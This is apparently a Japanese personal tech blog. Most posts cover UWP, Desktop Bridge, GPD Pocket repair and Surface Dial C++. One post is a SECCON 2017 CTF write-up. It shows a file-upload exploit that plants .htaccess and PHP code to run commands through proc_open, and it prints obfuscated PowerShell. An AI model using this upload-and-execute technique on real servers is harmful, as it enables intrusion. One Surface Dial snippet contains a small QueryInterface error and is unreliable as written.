tmytのらくがき

個人の日記レベルです

MenuFlyoutとかを透けてる感じにしたい

16299で追加されたAcrylicBrushを使って、MenuFlyoutとかを透けてる感じにしたい。いろいろ試した結果、こうなりました。

<Grid>
  <Grid.Resources>
    <Style x:Key="FlyoutPresenterStyle" TargetType="FlyoutPresenter">
      <Setter Property="Background" Value="{ThemeResource SystemControlChromeMediumLowAcrylicElementMediumBrush}" />
    </Style>
    <Style x:Key="MenuFlyoutPresenterStyle" TargetType="MenuFlyoutPresenter">
      <Setter Property="Background" Value="{ThemeResource SystemControlChromeMediumLowAcrylicElementMediumBrush}" />
    </Style>
  </Grid.Resources>
  <Grid.ContextFlyout>
    <MenuFlyout MenuFlyoutPresenterStyle="{StaticResource MenuFlyoutPresenterStyle}">
      <MenuFlyoutItem Text="Item 1"/>
      <MenuFlyoutItem Text="Item 2"/>
    </MenuFlyout>
  </Grid.ContextFlyout>
  <Button HorizontalAlignment="Center" VerticalAlignment="Center" Content="Click me">
    <Button.Flyout>
      <Flyout FlyoutPresenterStyle="{StaticResource FlyoutPresenterStyle}">
        <TextBlock Text="Flyout Text" FontSize="64" />
      </Flyout>
    </Button.Flyout>
  </Button>
</Grid>

Flyoutと、MenuFlyoutは画面にインスタンス化されるとき、FlyoutPresenterを親とするポップアップになるけど そこの背景色を上書きするにはひとつづつスタイルを当てていかないとうまくいかなかった。

Generic.xamlとかで一気に上書きできるとよかったんだけど、そうもいかないみたいなので面倒だけどひとつずつ。。。

SECCON 2017 オンライン予選に参加してたのでまとめ

SECCON 2017 オンライン予選が2017/12/09-10であったので見物がてら参加してました。 同大会に参加するの今回が初めてだったけどなんだかんだ楽しかったです。

チームでは13問、僕は6問解けたのでそのまとめ。

putchar music

問題を見る限り、Linuxで実行するとサウンドデバイスにPCMデータを直接書き込んで音楽が聞こえるらしい。

残念ながら手元にはWindowsマシンしかなかったけども、幸いWSL環境はあったのでとりあえずコンパイル。 実行して、ファイルにリダイレクト。適当にCtrl+Cしてとめる。ほっとくと無限にディスク食いつぶすので。

$ gcc music.c -lm
$ ./a.out > bin
^C

Linuxだとリダイレクトで再生できるけど、残念ながらWindowsなのでとりあえずバイナリエディタで Waveヘッダをくっつける。

なんかよくわからんけど、バイナリダンプを見た感じ、8bit/モノラルに見えるからそれに合わせてヘッダをこんな感じで手書き。 何回か再生しながら、再生速度を感じ取って、8kHz/8bit/モノラルになるように適当に埋めた。

52 49 46 46 00 00 00 20 57 41 56 45 66 6D 74 20
10 00 00 00 01 00 01 00 00 20 00 00 00 20 00 00
01 00 08 00 64 61 74 61 .. .. .. .. .. .. .. ..

再生してみると、スターウォーズのテーマ曲が再生されるので、SECCON{STAR_WARS}を入力しておしまい。

Qubic Rube

QRコードルービックキューブになってる問題。 アクセスすると、各面にQRコードがついた立方体がWebGLでくるくるしてる。

たぶん自動で解くコードを作るのがいいんだろうけど、めんどくさかったので手作業で解く。

画像はimages/問題番号_{L,R,U,D,F,B}.pngに入っていて、その画像から次の問題URLを 獲得していって50個解けばフラグ獲得。

f:id:tmyt:20171210215313p:plain

C#で画像をダウンロードして、9分割して、色ごとに分けるところまでは自動でするように。 そのあと、分割した画像を回転させて、QRコードを復元する部分を手動で解決。 回転ボタンを押すたびにZxingでコードを認識させて、そこに次のURLが入っていれば、 画像のリストを更新する。

というのを40回ぐらいやるとフラグが見つかる(10個ぐらいまではほかのメンバがやってくれてた)。 見つかったフラグSECCON{Thanks to Denso Wave for inventing the QR code}を入力してクリア。

使ったコードはこれ。

github.com

Powerful Shell

PowerShellスクリプトを解析して答えを探す問題。

とりあえず、PowerShell ISEで実行してみると、

Debugging is prohibited

と出るのでそこを探すと、15113行目と、15559行目にデバッガつぶすコードがあるからコメントアウトした。

生成されたスクリプトを保存してみると、先頭に謎のホストチェック。とりあえずつぶす。 そのあと実行すると、ピアノが出てきて、secret melodyを演奏しろとでてくる。 secret melodyは、ララシララシラシドシラシラファ。曲目はさくらですね。

入力すると、next stageへ。 次もまたコードを動的生成して実行しているので、実行されているコードをリダイレクトでファイルに保存。 中身を見るとこんな難読化されたコードがでてくる。

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

とりあえずISEで実行。実行結果を見るとまだコードが動的生成されているのでもう1回リダイレクトして保存。 その中身は

[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHa

こういう感じなので、[CHar]を外して、文字コードだけにしたファイルにした。

$ for c in $(cat list); do printf "%02x" $c; done | xxd -r -ps

出てきたコードはこう。

$ECCON=Read-Host -Prompt 'Enter the password'
If($ECCON -eq 'P0wEr$H311'){
        Write-Host 'Good Job!';
        Write-Host "SECCON{$ECCON}"
}

実行せずともフラグはわかるので、SECCON{P0wEr$H311} を入力して終わり。

Ps and Qs

ファイルを展開すると、cipher, pub1.pub, pub2.pubの3ファイルが入ってる。 2個の公開鍵があると、秘密鍵が割り出せることがある、らしい。

fastgcdというソリューションに2個公開鍵に含まれているNの値を入れてあげると、 q1, q2が得られた。

これをもとにしてPython秘密鍵を復元した。

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

N = 0x00cfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd
q = 0xe1b1e9fa3b5075f426eb220a9aa8d7a674219045ae500e0a45dc40b71ecd6ff56317efa5ada5d48d49a5e83d6f6042c35c5dd06d2a182cdd6d15f0588ab429b7a001943c7dd83a14818c172be911841ff4ce430646c0a3bb877d07a50306da67a02d3042edb1169740f7e30a1e3aed163afbb4ffed13b8ddd29b5567231026ca5c38994dd0920e04965625153e06140e03358b758f7d2d49e12e9eb246f6571505920cbeb1537d2996ea4453b5018348bbd6c80f5ebe640f97a8cc74b1c20ca6d33f96f0699b852bab50027f8bd704cf088ac6db47c7d6d8ed0416d0b61e9d7ebfb94e31bcc84368d37914af9539b8d30fe35bba367a64b278c3353fa0f24f45
p = N / q
E = 0x10001
d = inverse(E, (p-1)*(q-1))

key = RSA.construct(map(long, (N, E, d)))
print key.exportKey()

出来上がった鍵を使って、OpenSSLでデコードする。

$ openssl rsautl -decrypt -inkey priv.key -in cipher
SECCON{1234567890ABCDEF}

Simon and Speck Block Ciphers

Simon暗号っていうのが使われてて、暗号鍵がフラグになっていて、4バイトの伏字を見つければOKみたい。

探してみると、Python向けのモジュールがGitHubにあった*1。 これを使って、適当にPython書いて、実行してあとは寝てました。

from simon import SimonCipher

key = 0x534543434f4e7b202020207d
target = 0xbb5d12ba422834b5

c = key
for i in range(0x5e):
  for j in range(0x5e):
    for k in range(0x5e):
      for l in range(0x5e):
        simon = SimonCipher(c, key_size=96, block_size=64)
        msg = simon.encrypt(0x6d564d37426e6e71)
        if msg == target:
          print hex(c)
        c += 0x0100
      c -= 0x005e00
      c += 0x010000
    c -= 0x005e0000
    c += 0x01000000
  c -= 0x005e000000
  c += 0x0100000000

朝起きたら0x534543434f4e7b36507a307dというのが出力されていました。 これをASCIIで読むとSECCON{6Pz0}になるのでこれを入力してクリア。

automatic_door

PHPである程度任意のファイルが書き込めるので、/flag_xを実行させることができれば めでたくフラグゲット。という問題。

PHPファイルをみると、ファイル名にphを含んでいる場合は書き込めないようになっている。 ここをどうにかするために.htaccessを書き込んで適当なファイル、今回は.cgiPHP実行コードであることに変更する。

<FilesMatch \.cgi$>
    SetHandler application/x-httpd-php
</FilesMatch>

これを、curl.htaccessとしてなげつける。

$ curl -X POST -F "file=@htaccess" 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess'

これで.cgiPHPとして実行できるようになったのでPHPをアップロードする。

<?php
error_reporting(32767);
print_r(scandir('/'));
print_r(stat('/flag_x'));

$process = proc_open('/flag_x', array(1 => array('pipe', 'w')), $pipes, '/', array());

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($proces);
$ curl -X POST -F "file=@exec.cgi" 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=write&filename=exec.php'

この環境は、php.iniのdisable_functionsで次の関数が無効になっている。

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped, pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig, pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask, pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, exec,passthru,popen,shell_exec,system

しかし、proc_open系は無効になっていないのでそれを使って/flag_xを実行する。

最後に保存先を確認してアクセス。

$ curl 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd'
sandbox/FAIL_3db4dcd5b68eb4195dd1084180e90ebee152956e/

PHPで出力されたフラグSECCON{f6c085facd0897b47f5f1d7687030ae7}を入力すればおわり。

まとめ

ほかのメンバーが解いてくれたのは、Vigenere3d, Run me!, SHA-1 is dead, Log search, Theroy of Relativity, JPEG file。よく見ると、Pwnは全然解けてないし、なかなかひどい感じだった

初めてにしては結構楽しめたし、来年もまた参加してみたいですね。

AzureaのWindows Mobile向けサポートを終了します

タイトルの通りですが、AzureaのWindows Mobile向けサポートを年内をもって終了する予定です。 2017年12月31日時点でリリースされているバイナリを最終バージョンとし、それ以降はアップデートは配信されなくなります。

Azureaは2010年1月にWindows Mobile 5以降を対象としてリリースされました。当時はWillcomがAdvanced W-ZERO3 [es]とか売ってた時代です。 以降、国内外でWindows Mobile向けTwitterクライアントとしてそれなりに使われていたみたいです。街中で見かけることも時々ありました。

しかしながら、Windows Mobileシリーズは2013年にMicrosoftのサポートは終了しており、そこから4年もたったのでもういい加減いいかな。と思った次第です。 これまでありがとうございました。

同アプリのWindows向けバイナリは2018年以降もサポートが継続されます。 Windows向けは東京オリンピックぐらいまでは続くんではないでしょうか。 こちらはこれからもよろしくお願いします。

最近UWP版はじめました

Visual Studio PreviewでDesktopBridgeが簡単になりました

このエントリは2017/9/3時点でのVisual Studio Previewで動作を確認しています。リリース時の動作とは異なる場合があります。

Visual Studio 2017 Preview (Version 15.4.0 Preview 1.0)でWPFアプリケーションをDesktop Bridgeでパッケージングすることがとても簡単になりました。 いままではDesktop App Converterでがんばったり、手作業でAppxManifestを作ったり、JavaScript UWP プロジェクトを生贄にしたり、いろいろめんどくさかったDesktop Bridgeがやっと簡単になりました。

試しにやってみたので手順をまとめておきます。

1. WPFアプリを作る

ソリューションの新規作成からてきとうにやります。ここ読むようなひとは作れると思うので省略します。

2. Windows Application Packaging Projectをソリューションに追加する

ソリューションを右クリック→追加→新しいプロジェクトを選びます。

f:id:tmyt:20170903032106p:plain

Visual C#Windows ユニバーサルのなかから「Windows Application Packaging Project」を選択して適当に名前を付けてOKします。

f:id:tmyt:20170903032338p:plain

バージョンは最小バージョンを14393にしておけば問題ないと思います。

f:id:tmyt:20170903032441p:plain

3. 既存のWPFプロジェクトをWindows Application Packaging Projectから参照する

ソリューションエクスプローラのApplicationを右クリックして、参照の追加を選択します。

f:id:tmyt:20170903032626p:plain

アセンブリ参照ダイアログみたいなのが出るのでチェックを付けてOKします。

f:id:tmyt:20170903032829p:plain

4. おわりです

あとは実行ターゲットをWindows Application Packaging Projectに設定してF5実行すると、WPFアプリケーションが起動します。 同時にスタートメニューにも登録されていることを確認できます。

f:id:tmyt:20170903033029p:plain

f:id:tmyt:20170903033049p:plain

まとめ

すごい簡単になりました。パッケージ情報も普通のUWPのAppxmanifestエディタが使えるので楽です。 アイコンとかは400x400ピクセルの画像だけ用意しておけばたいていは自動生成されます。

このプロジェクトテンプレートで楽になるのは単体、もしくはいくつかのDLLとともに配布されるパッケージで、 特にインストーラを用いていないZIP配布のアプリケーションに適しているように見えます。

GPD Pocketのホールセンサーを交換しました

GPD Pocketの最初のほうのロットにはホールセンサー(磁力センサー)の取り付けに問題があるらしくって、半分ぐらい閉じるとスリープするんだけど、そのあと完全に閉めると起きてくるっていうハードバグがあったんです。 GPDとしても問題は認識していて、対応を問い合わせると深圳にいったん送り返して部品を交換 or 部品を送るので自力交換の2つを提示されました。

自力交換できるならやりたいけど…でも深圳のやつらの言うことだしはんだをはがしてとか言いだすんじゃねぇの……とおもって交換の仕方が公開されたのでそれを見たらあきらかにらくしょーだったので自力交換しました。

www.youtube.com

らくしょーやん!部品おくって!!!とメールして、わかった部品おくるぜ!!!と言われてから約2週間。中国を出発して、はるばるオランダを経由した部品は29日に到着しました。

28-07-2017 16:11 Receive item at delivery office (Inb)
26-07-2017 17:37    The item has been processed in the country of destination
26-07-2017 11:49    The item has arrived in the country of destination
25-07-2017 09:20    The item is on transport to the country of destination
24-07-2017 12:35    The item is processed at the PostNL sorting center
24-07-2017 12:35    The item is at the PostNL sorting center
21-07-2017 01:10    The item is ready for shipment
18-07-2017 03:45    The item is pre-advised
16-07-2017 00:04    The Item is at the shippers warehouse

こいつを取り付けます。

とりあえず裏のねじを6本外すとバックパネルが外れます。簡単。

アンテナを外して、ケーブルを外して、ヒートシンクを外して、メインボードを外すと…そこに問題の部品がいます。

こいつもねじ止めされてるので外します。どうせいらないのでフレキケーブルを引っ張って取り外します。

古い部品(左)と新しい部品(右)ついてるセンサが変わってるみたい。背の高さが微妙に違ったり、左にはんだ付けされてる個所が増えてる。

新しい部品をはめたら、あとは逆の手順で戻します。

だいたい20分ぐらいで分解、交換、元に戻せました。

ふたを閉めても起きてこなくなったぞおおおおおおおおおおおおおおおおおおおおうおおおおおおおおおおおおおおおおおおおおおお

おしまい。

C++/Win32からSurface Dialを制御する (RS2版)

Surface Dialが出たころはWindows 10 Anniversary Update (Build 14393)だったのが、今はCreators Update (Build 15063)で、RadialController周りも少しアップデートがあったことに今更気づいたのでC++から触ってみます。

追加されたインターフェース

RadialController周りで増えたのがこのあたり。

  • IRadialController2
  • IRadialControllerMenuItemStatics2
  • IRadialControllerRotationChangedEventArgs2
  • IRadialControllerScreenContactContinuedEventArgs2
  • IRadialControllerScreenContactStartedEventArgs2

このうちEventArgsとついているのは、これまで通りのイベント引数に対してQueryInterfaceすると読めます。

// たとえばIRadialControllerRotationChangedEventArgs2の場合
/*
using namespace Microsoft::WRL;
using namespace ABI::Windows::Foundation;
using namespace ABI::Windows::UI::Input;
*/
EventRegistrationToken rotationChangedEvent;
// ComPtr<IRadialController
_controller->add_RotationChanged(
    Callback<ITypedEventHandler<RadialController*, RadialControllerRotationChangedEventArgs*>>(
    [this](IRadialController*, IRadialControllerRotationChangedEventArgs* args) {
        ComPtr<IRadialControllerRotationEventArgs2> args2;
        args->QueryInterface(IID_PPV_ARGS(&args));
        // 好きに使う
        // args2->get_SimpleHapticsController();
        return S_OK;
    }).Get(), &rotationChangedEvent);

残りのIRadialController2IRadialControllerMenuItemStatics2は、IRadialControllerIRadialControllerMenuItemStaticsに対して QueryInterfaceすれば読めます。

/*
using namespace Microsoft::WRL;
using namespace Windows::Foundation;
using namespace ABI::Windows::UI::Input;
*/
ComPtr<IRadialControllerMenuItemStatics> menuItemStatics;
ComPtr<IRadialControllerMenuItemStatics2> menuItemStatics2;
GetActivationFactory(
    HStringReference(RuntimeClass_Windows_UI_Input_RadialControllerMenuItem).Get(),
    &menuItemStatics);
menuItemStatics->QueryInterface(IID_PPV_ARGS(&menuItemStatics2));

だいたいQueryInterfaceすればどうにかなります。

C++/Win32でDialを使ったコードを書く

前に書いたやつを書き直してGitHubにサンプルプロジェクトを公開しました。VS2017+15063 SDKでそのまま実行できるはずです。

IVector実装の入手

システムアイコンを追加削除するには、任意のIVector実装が必要です。 正直実装するのは面倒なのでWin2Dで使用されている実装を拝借します。 この実装はMITライセンスで公開されています。

Win2Dから

  • ErrorHandling.h
  • LifeSpanTracker.h
  • Vector.h
  • WinStringBuilder.h
  • WinStringWrapper.h

を入手してプロジェクトに追加します。

プロジェクトの設定

プロジェクトの設定の変更が必要です。プロジェクトを右クリックした、プロパティから次の設定を変更します。 15063になって、WindowsSDK_UnionMetadataPathが使えるようになったのでちょっとだけ短くなりました。

  1. 構成プロパティ > 全般 > Windows SDK バージョン を “10.0.15063.0” に設定
  2. 構成プロパティ > C/C++ > 全般 > Windows ランタイム拡張機能の使用 を “はい (/ZW)” に設定
  3. 構成プロパティ > C/C++ > 全般 > 追加の #using ディレクトリを “$(VC_ReferencesPath_VC_x86)\store\references;$(WindowsSDK_UnionMetadataPath)” に設定
  4. 構成プロパティ > C/C++ > コード生成 > 最小リビルドを有効にするを “いいえ (/Gm-)” に設定
  5. 構成プロパティ > MIDL > 全般 > Windows ランタイムを有効にしますを “はい (/winrt)” に設定
  6. 構成プロパティ > MIDL > 全般 > 追加のメタデータ ディレクトリを “$(WindowsSDK_UnionMetadataPath)” に設定
  7. 構成プロパティ > MIDL > 詳細設定 > ‘ABI’ 名前空間を追加するを “はい (/ns_prefix)” に設定

f:id:tmyt:20170720002214p:plain f:id:tmyt:20170720002120p:plain f:id:tmyt:20170720002248p:plain f:id:tmyt:20170720002333p:plain f:id:tmyt:20170720002423p:plain

IDLの作成

すごく面倒なんですが、IVector<T>インスタンス化するにはIDLが必要です。 genericとC++のテンプレートと、COMの都合だそうです*1

プロジェクトを右クリックして、追加、コード、MIDL ファイルで追加します。 ここではとりあえずVector.idlとしておきます。

f:id:tmyt:20170720001939p:plain

今回はWindows.Foundation.Collections.IVector<Windows.UI.Input.RadialControllerSystemMenuItemKind>が使えればいいので、 こんな感じで書いておきます。namespaceで指定する名前空間はなんでもいいみたいです*2

import "inspectable.idl";
import "Windows.Foundation.idl";
import "Windows.UI.Input.idl";

namespace collections
{
    declare{
        interface Windows.Foundation.Collections.IVector<Windows.UI.Input.RadialControllerSystemMenuItemKind>;
    }
}

Vector_h.hの参照

だいたい終わりです。 IVector<T>インスタンスを作成するMicrosoft::WRL::Make<T>を読んでいるファイルで、 Vector_h.hをインクルードする必要があります。

このときのファイル名はIDLのファイル名から拡張子を除いた部分に_hを付けて拡張子idlをhに変更したものを 指定します。

#include"Vector_h.h"

おしまい

これでとりあえずRadialControllerの全機能が使えると思います。 IDL周り以外は大して難しくないはずなので遊んでみてください。

github.com

*1:http://mntone.hateblo.jp/entry/2014/08/29/095251

*2:15063 SDKを使っている分には問題はなさそうです